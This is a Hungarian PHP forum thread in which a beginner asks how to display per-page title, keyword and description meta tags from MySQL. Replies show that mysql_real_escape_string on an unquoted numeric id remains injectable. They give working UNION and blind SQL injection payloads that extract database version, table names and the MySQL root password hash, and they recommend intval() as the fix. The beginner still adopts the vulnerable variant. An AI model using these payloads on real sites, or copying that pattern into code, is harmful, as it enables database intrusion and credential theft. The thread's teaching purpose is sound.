meta adatok megjelenítése - kezdő phps kódja
Abszolút kezdő vagyok php-ban, egy oldal title, keywords és description elemeit szeretném megjelentetni (csak tanulgatom, nem élesben:) ).
a kérés az adatbázishoz:
$sqlCommand = "SELECT pagetitle, keywords, description FROM pages";
$query = mysql_query($sqlCommand) or die (mysql_error());
while ($row = mysql_fetch_array($query)) {
$pagetitle = $row['pagetitle'];
$keywords = $row['keywords'];
$description = $row['description'];
}
mysql_free_result($query);
- ez az adatbázisban meg is jeleníti az eredményeket.
a html fejléc pedig:
<title><?php echo $pagetitle;?></title>
<meta name="description" content="<?php echo $description;?>">
<meta name="keywords" content="<?php echo $keywords;?>">
--- mindennek az eredménye, hogy a title megjelenik ugyan, de az utolsó oldalé mindenhol. kulcsszó, leírás, nuku...
Hogyan lehet oldalhoz kötni a title-t? És mi hiányzik a többihez? Egyáltalán jól indultam el? Olyasmi a baj, hogy így mindent listázna és nem csak az adott oldalét....
(gugliztam is, de számomra rettentő bonyolult megoldásokat találtam)
Köszönöm
Lehel
re: meta adatok megjelenítése - kezdő phps kódja
Idézet:
lehelka eredeti hozzászólása
Abszolút kezdő vagyok php-ban, egy oldal title, keywords és description elemeit szeretném megjelentetni (csak tanulgatom, nem élesben:) ).
Kód:
$sqlCommand = "SELECT pagetitle, keywords, description FROM pages";
e helyett
Kód:
$sqlCommand = "SELECT pagetitle, keywords, description FROM pages where id = ".mysql_real_escape_string($page_id);
a $page_id változó pedig az oldal id-ja legyen.
re: meta adatok megjelenítése - kezdő phps kódja
$sqlCommand = "SELECT pagetitle, keywords, description FROM pages where id = ".mysql_real_escape_string($page_id);
$page_id = 1
SELECT pagetitle, keywords, description FROM pages where id = 1
$page_id = 1+AND+1=2+UNION+ALL+SELECT+1,2,3--
SELECT pagetitle, keywords, description FROM pages where id = 1 AND 1=2 UNION ALL SELECT 1,2,3--
.. <title>1</title>
$page_id = 1+AND+1=2+UNION+ALL+SELECT+(select+concat(user(),0 x3a,database(),0x3a,version()),2,3--
... <title>valaki@localhost:adatbazis:5.0.36-log</title>
$page_id = 1+AND+1=2+UNION+ALL+SELECT+(Select+password+from+m ysql.user+where+user=char(114,111,111,116)+limit+1 ),2,3
char(114,111,111,116) = root // mysql_real_escape_string simán átengedi
Önmagaban nem ér sokat a mysql_real_escape_string.
sqlCommand = "SELECT pagetitle, keywords, description FROM pages where id = ".intval($page_id);
$page_id = 1+AND+1=2+UNION+ALL+SELECT+1,2,3--
SELECT pagetitle, keywords, description FROM pages where id = 1
re: meta adatok megjelenítése - kezdő phps kódja
Idézet:
KForum eredeti hozzászólása
$sqlCommand = "SELECT pagetitle, keywords, description FROM pages where id = ".mysql_real_escape_string($page_id);
az első az valóban átmegy a mysql_real_escape_Stringen, de a unionhoz azért még ki kell találni a lekérdezésben milyen mezők vannak. az utolsó az még viccnek is rossz :). szerinted milyen hosting az ahol egy ügyfél mysql user-e lekérdezheti a root jelszót?
re: meta adatok megjelenítése - kezdő phps kódja
"de a unionhoz azért még ki kell találni a lekérdezésben milyen mezők vannak"
id=1+ORDER+BY+1--
id=1+ORDER+BY+2--
id=1+ORDER+BY+3--
id=1+ORDER+BY+4--
HIBA = csak 3 oszlop van.
Vagy nem akkor is van Blind
A db-t ki lehet olvasni, database(). legyen most pl "adatbazis" = char(97,100,97,116,98,97,122,105,115)
Keressük meg a táblákat.
SELECT table_name FROM information_schema.tables where table_schema = 'adatbazis'
id=1+AND+ASCII(substring((SELECT+table_name+from+i nformation_schema+where+table_schema=char(97,100,9 7,116,98,97,122,105,115)+limit+0,1),1,1))=100
Ha bejon az oldal akkor az első tábla első nevének az első betüjének az ASCII kódja 100 vagyis d betü.
Elég sok hosztingot láttam ahol root volt a user, de itt most nem ez a lényeg hanem az hogy ki lehet kerülni a magic_quotes és a real_escapet is, tehát ezek önmagukban nem sokat érnek, és csak hamis biztonságérzetet keltenek.
re: meta adatok megjelenítése - kezdő phps kódja
Ezt használtam és működik. A többi egyelőre kissé magas nekem.
Köszönet Gerinek és Kforumnak.
Idézet:
Geri eredeti hozzászólása
Kód:
$sqlCommand = "SELECT pagetitle, keywords, description FROM pages";
e helyett
Kód:
$sqlCommand = "SELECT pagetitle, keywords, description FROM pages where id = ".mysql_real_escape_string($page_id);
a $page_id változó pedig az oldal id-ja legyen.
re: meta adatok megjelenítése - kezdő phps kódja
Jobb lesz ez :
PHP kód:
$sqlCommand = "SELECT pagetitle, keywords, description FROM pages where id = ".intval($page_id);
re: meta adatok megjelenítése - kezdő phps kódja
Ha Joomláról van szó, ahhoz van célszerszám itt:
extensions.joomla.org/extensions/site-management/seo-a-metadata/7124